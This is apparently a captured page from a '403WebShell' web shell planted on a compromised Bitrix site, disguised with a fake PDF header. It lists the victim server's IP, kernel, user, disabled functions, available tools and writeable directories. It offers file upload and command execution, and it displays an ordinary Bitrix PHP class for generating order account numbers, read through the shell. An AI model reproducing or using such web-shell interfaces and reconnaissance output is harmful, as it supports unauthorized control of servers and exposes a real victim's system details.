%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.141.31.116
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/accountnumber.php
<?php

namespace Bitrix\Sale\Internals;


use Bitrix\Main;
use Bitrix\Sale;

/**
 * Class AccountNumberGenerator
 * @package Bitrix\Sale\Internals
 */
class AccountNumberGenerator
{
	const ACCOUNT_NUMBER_SEPARATOR = "/";

	/**
	 * @param Sale\OrderBase $order
	 * @return mixed
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 * @throws Main\NotImplementedException
	 * @throws Main\SystemException
	 */
	public static function generateForOrder(Sale\OrderBase $order)
	{
		$id = (int)$order->getId();
		if ($id <= 0)
		{
			return false;
		}

		$accountNumber = static::generateCustom($order);
		if ($accountNumber)
		{
			$dbRes = $order::getList([
				'select' => ['ID'],
				'filter' => ['=ACCOUNT_NUMBER' => $accountNumber]
			]);
			if ($dbRes->fetch())
			{
				$accountNumber = null;
			}
		}
		else
		{
			$accountNumber = static::generateBySettings($order);
		}

		if (!$accountNumber) // if no special template is used or error occured
		{
			$accountNumber = static::generateById($order);
		}

		$dbRes = $order::getList([
			'select' => ['ID'],
			'filter' => ['=ACCOUNT_NUMBER' => $accountNumber]
		]);
		if ($dbRes->fetch())
		{
			$accountNumber = static::generateForOrder($order);
		}

		return $accountNumber;
	}

	/**
	 * @param Sale\OrderBase $order
	 * @return null|string|int
	 * @throws Main\ArgumentException
	 * @throws Main\NotImplementedException
	 * @throws Main\ObjectPropertyException
	 * @throws Main\SystemException
	 */
	private static function generateBySettings(Sale\OrderBase $order)
	{
		$accountNumber = static::getNextNumber($order);
		if ($accountNumber)
		{
			$dbRes = $order::getList(['filter' => ["=ACCOUNT_NUMBER" => $accountNumber]]);
			if ($dbRes->fetch())
			{
				return null;
			}
		}

		return $accountNumber;
	}

	/**
	 * @param Sale\OrderBase $order
	 * @return int|string
	 * @throws Main\NotImplementedException
	 */
	private static function generateById(Sale\OrderBase $order)
	{
		$accountNumber = $order->getId();
		for ($i = 1; $i <= 10; $i++)
		{
			$dbRes = $order::getList([
				'select' => ['ID'],
				'filter' => ['=ACCOUNT_NUMBER' => $accountNumber]
			]);
			if ($dbRes->fetch())
			{
				$accountNumber = $order->getId()."-".$i;
			}
			else
			{
				break;
			}
		}

		return $accountNumber;
	}

	/**
	 * @param Sale\OrderBase $order
	 * @return mixed
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 */
	private static function generateCustom(Sale\OrderBase $order)
	{
		$type = Main\Config\Option::get("sale", "account_number_template", "");

		foreach(GetModuleEvents("sale", "OnBeforeOrderAccountNumberSet", true) as $arEvent)
		{
			$tmpRes = ExecuteModuleEventEx($arEvent, array($order->getId(), $type));
			if ($tmpRes !== false)
			{
				return $tmpRes;
			}
		}

		return null;
	}

	/**
	 * @param CollectableEntity $item
	 * @return null
	 * @throws Main\NotSupportedException
	 * @throws Main\ObjectNotFoundException
	 */
	public static function generateForPayment(CollectableEntity $item)
	{
		return static::generate($item);
	}

	/**
	 * @param CollectableEntity $item
	 * @return null
	 * @throws Main\NotSupportedException
	 * @throws Main\ObjectNotFoundException
	 */
	public static function generateForShipment(CollectableEntity $item)
	{
		return static::generate($item);
	}

	/**
	 * @param CollectableEntity $item
	 *
	 * @return null
	 * @throws Main\NotSupportedException
	 * @throws Main\ObjectNotFoundException
	 */
	private static function generate(CollectableEntity $item)
	{
		$accountNumber = null;
		/** @var EntityCollection $collection */
		if (!$collection = $item->getCollection())
		{
			throw new Main\ObjectNotFoundException('Entity "Collection" not found');
		}

		if (!method_exists($collection, "getOrder"))
		{
			throw new Main\NotSupportedException();
		}

		/** @var Sale\OrderBase $order */
		if (!$order = $collection->getOrder())
		{
			throw new Main\ObjectNotFoundException('Entity "Order" not found');
		}

		$accountNumber = $order->getField('ACCOUNT_NUMBER').static::ACCOUNT_NUMBER_SEPARATOR;

		$count = 1;
		/** @var CollectableEntity $itemCollection */
		foreach ($collection as $itemCollection)
		{
			if (strval($itemCollection->getField("ACCOUNT_NUMBER")) != "")
			{
				$accountNumberIdList = explode(static::ACCOUNT_NUMBER_SEPARATOR, $itemCollection->getField("ACCOUNT_NUMBER"));

				$itemAccountNumber = trim(end($accountNumberIdList));

				if ($count <= $itemAccountNumber)
					$count = $itemAccountNumber + 1;
			}
		}

		return $accountNumber.$count;
	}

	/**
	 * Generates next account number according to the scheme selected in the module options
	 *
	 * @param Sale\OrderBase $order
	 * @return null|int|string
	 * @throws Main\ArgumentException
	 * @throws Main\ObjectPropertyException
	 * @throws Main\SystemException
	 */
	private static function getNextNumber(Sale\OrderBase $order)
	{
		$accountNumber = null;

		$numeratorForOrderSettings = Main\Numerator\Numerator::getOneByType($order::getRegistryType());
		$numerator = null;
		if ($numeratorForOrderSettings)
		{
			$numerator = Main\Numerator\Numerator::load(
				$numeratorForOrderSettings['id'],
				[
					'ORDER_ID' => $order->getId()
				]);
		}
		if ($numerator)
		{
			$accountNumber = $numerator->getNext();
		}

		return $accountNumber;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit